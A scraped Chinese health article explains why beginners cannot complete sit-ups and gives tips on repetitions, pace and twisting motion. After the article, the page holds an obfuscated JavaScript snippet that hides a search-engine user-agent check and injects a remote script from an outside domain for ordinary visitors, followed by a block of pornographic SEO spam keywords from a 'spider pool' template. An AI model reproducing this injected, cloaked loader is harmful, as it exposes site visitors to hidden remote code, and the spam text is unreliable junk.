<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 健康 > 運動健身 > 正文

      仰臥起坐做不起來是怎么回事啊?

      2017-04-15 10:32:15  來源:360常識網   熱度:
      導語:我們都知道,仰臥起坐是我們減小肚腩的一個運動方法。但是對于很多長期不運動的人來說,仰臥起坐根本就做不起來,也就無法達到減肥,減小肚

      我們都知道,仰臥起坐是我們減小肚腩的一個運動方法。但是對于很多長期不運動的人來說,仰臥起坐根本就做不起來,也就無法達到減肥,減小肚子的效果。因為長期不做運動的人,腰部贅肉多,腰部也沒有力量。那么,如果您是做不起的朋友,來看看仰臥起坐的運動技巧吧!

      仰臥起坐運動技巧:

      1.逐漸增加仰臥起坐反覆次數:對於一位剛開始以仰臥起坐來訓練腹部肌肉的參與者而言,每次仰臥起坐的次數以不超過10個反覆為原則

      (先訓練您腹部肌肉的肌力) ,每完成一次的仰臥起坐后,應站起或躺下休息,讓腹部肌肉能夠放松10分鐘以上。

      2.慢慢進行仰臥起坐:主要是以腹部肌肉的耐力為訓練目標,因此,只有慢慢進行仰臥起坐的運動方式,比較能夠確實訓練腹肌的耐力。

      3.仰臥起坐的動作:人體上腹部的肌肉,主要有腹直肌、腹外斜肌與腹內斜肌。因此,如果仰臥起坐的動作,都是以上半身在矢狀面 (雙肩平行的起坐動作)

      上的動作進行時,腹外斜肌與腹內斜肌的訓練效果會受到明顯的限制,只有增加身體縱軸 (右肩帶向左腿與左肩帶向右腿) 旋轉的動作,才可以避免腹肌訓練的不協調狀態。

      除了上半身的動作以外,為了避免仰臥起坐過程中,下腹部屈曲髖關節肌肉的負荷過大,進行仰臥起坐時應屈曲膝關節。但是,在這種仰臥屈膝的姿勢下進行仰臥起坐訓練后,反而會限制到下腹部肌肉的訓練效果。

      我們都知道,肚子上是非常容易長肉的。一旦肉長得多了,堆積起來,我們就有了小肚子。而且仰臥起坐這項運動,必須長期運動才可以起到減肥,減小肚子的效果。所以,如果我們想要保持良好的身形,就必須要控制自己的飲食。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 色妞色综合久久夜夜| 亚洲伊人久久综合影院| 亚洲综合日韩精品欧美综合区 | 人人狠狠综合久久88成人| 亚洲色偷偷狠狠综合网| 精品国产第一国产综合精品| 亚洲欧美日韩综合在线播放 | 亚洲AⅤ优女AV综合久久久| 久久综合亚洲色HEZYO国产| 国产综合一区二区在线观看| 久久精品综合一区二区三区| 91探花国产综合在线精品| 天天综合天天看夜夜添狠狠玩 | 亚洲va欧美va国产综合| 亚洲丁香色婷婷综合欲色啪| 久久久综合九色合综国产| 欧美日韩亚洲乱国产综合| 丁香五月综合缴情综合| 久久狠狠一本精品综合网| 亚洲狠狠婷婷综合久久蜜芽| 欧美伊人久久大香线蕉综合69| 日韩欧美综合在线| 亚洲激情综合网| 欧美精品色婷婷五月综合| 五月婷婷综合网| 中文字幕亚洲综合久久| 狠狠亚洲婷婷综合色香五月排名| 伊人yinren6综合网色狠狠| 久久九色综合九色99伊人| 亚洲国产欧美国产综合久久 | 人妻 日韩 欧美 综合 制服| 美国十次狠狠色综合| 婷婷综合久久中文字幕| 亚洲第一综合天堂另类专| 久久香综合精品久久伊人| 大香网伊人久久综合网2020| 久久久久久青草大香综合精品 | 色噜噜狠狠色综合日日| 天堂久久天堂AV色综合| 久久综合亚洲欧美成人| 色综合婷婷在线|